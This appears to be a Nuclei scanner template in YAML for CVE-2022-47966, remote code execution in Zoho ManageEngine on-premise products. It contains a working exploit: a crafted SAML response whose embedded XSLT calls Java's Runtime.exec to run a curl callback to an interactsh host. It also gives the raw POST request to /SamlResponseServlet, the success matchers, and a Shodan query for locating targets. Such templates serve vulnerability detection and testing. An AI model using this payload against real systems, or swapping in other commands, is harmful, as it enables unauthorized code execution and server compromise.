89 lines
4.2 KiB
YAML
89 lines
4.2 KiB
YAML
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id: CVE-2022-47966
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info:
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name: ManageEngine - RCE
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author: rootxharsh,iamnoooob,DhiyaneshDK
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severity: critical
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description: |
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Multiple Zoho ManageEngine on-premise products, such as ServiceDesk Plus through 14003, allow remote code execution due to use of Apache xmlsec (aka XML Security for Java) 1.4.1, because the xmlsec XSLT features, by design in that version, make the application responsible for certain security protections, and the ManageEngine applications did not provide those protections.
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reference:
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- https://twitter.com/horizon3attack/status/1616062915097886732?s=46&t=ER_is9G4FlEebVFQPpnM0Q
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- https://www.horizon3.ai/manageengine-cve-2022-47966-technical-deep-dive/
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- https://www.manageengine.com/security/advisory/CVE/cve-2022-47966.html
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metadata:
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verified: "true"
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shodan-query: title:"ManageEngine"
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tags: cve,cve2022,rce,zoho,manageengine
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variables:
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cmd: '<?xml version="1.0" encoding="UTF-8"?>
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<samlp:Response
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ID="_eddc1e5f-8c87-4e55-8309-c6d69d6c2adf"
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InResponseTo="_4b05e414c4f37e41789b6ef1bdaaa9ff"
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IssueInstant="2023-01-16T13:56:46.514Z" Version="2.0" xmlns:samlp="urn:oasis:names:tc:SAML:2.0:protocol">
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<samlp:Status>
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<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
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</samlp:Status>
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<Assertion ID="_b5a2e9aa-8955-4ac6-94f5-334047882600"
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IssueInstant="2023-01-16T13:56:46.498Z" Version="2.0" xmlns="urn:oasis:names:tc:SAML:2.0:assertion">
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<Issuer>a</Issuer>
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<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
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<ds:SignedInfo>
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<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
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<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>
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<ds:Reference URI="#_b5a2e9aa-8955-4ac6-94f5-334047882600">
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<ds:Transforms>
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<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>
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<ds:Transform Algorithm="http://www.w3.org/TR/1999/REC-xslt-19991116">
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<xsl:stylesheet version="1.0"
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xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object"
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xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
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<xsl:template match="/">
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<xsl:variable name="rtobject" select="rt:getRuntime()"/>
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<xsl:variable name="process" select="rt:exec($rtobject,"curl {{interactsh-url}}")"/>
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<xsl:variable name="processString" select="ob:toString($process)"/>
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<xsl:value-of select="$processString"/>
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</xsl:template>
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</xsl:stylesheet>
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</ds:Transform>
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</ds:Transforms>
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<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/>
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<ds:DigestValue>H7gKuO6t9MbCJZujA9S7WlLFgdqMuNe0145KRwKl000=</ds:DigestValue>
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</ds:Reference>
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</ds:SignedInfo>
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<ds:SignatureValue>RbBWB6AIP8AN1wTZN6YYCKdnClFoh8GqmU2RXoyjmkr6I0AP371IS7jxSMS2zxFCdZ80kInvgVuaEt3yQmcq33/d6yGeOxZU7kF1f1D/da+oKmEoj4s6PQcvaRFNp+RfOxMECBWVTAxzQiH/OUmoL7kyZUhUwP9G8Yk0tksoV9pSEXUozSq+I5KEN4ehXVjqnIj04mF6Zx6cjPm4hciNMw1UAfANhfq7VC5zj6VaQfz7LrY4GlHoALMMqebNYkEkf2N1kDKiAEKVePSo1vHO0AF++alQRJO47c8kgzld1xy5ECvDc7uYwuDJo3KYk5hQ8NSwvana7KdlJeD62GzPlw==</ds:SignatureValue>
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<ds:KeyInfo/>
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</ds:Signature>
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</Assertion>
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</samlp:Response>'
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requests:
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- raw:
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- |
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POST /SamlResponseServlet HTTP/2
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Host: {{Hostname}}
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User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
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Origin: null
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Content-Type: application/x-www-form-urlencoded
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
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Accept-Encoding: gzip, deflate
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Accept-Language: en-US,en;q=0.9,ru;q=0.8
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SAMLResponse={{url_encode(base64(cmd))}}&RelayState=
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matchers-condition: and
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matchers:
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- type: word
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part: interactsh_protocol # Confirms the HTTP Interaction
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words:
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- "dns"
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- type: word
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part: body
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words:
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- "Unknown error occurred while processing your request"
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- type: status
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status:
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- 500
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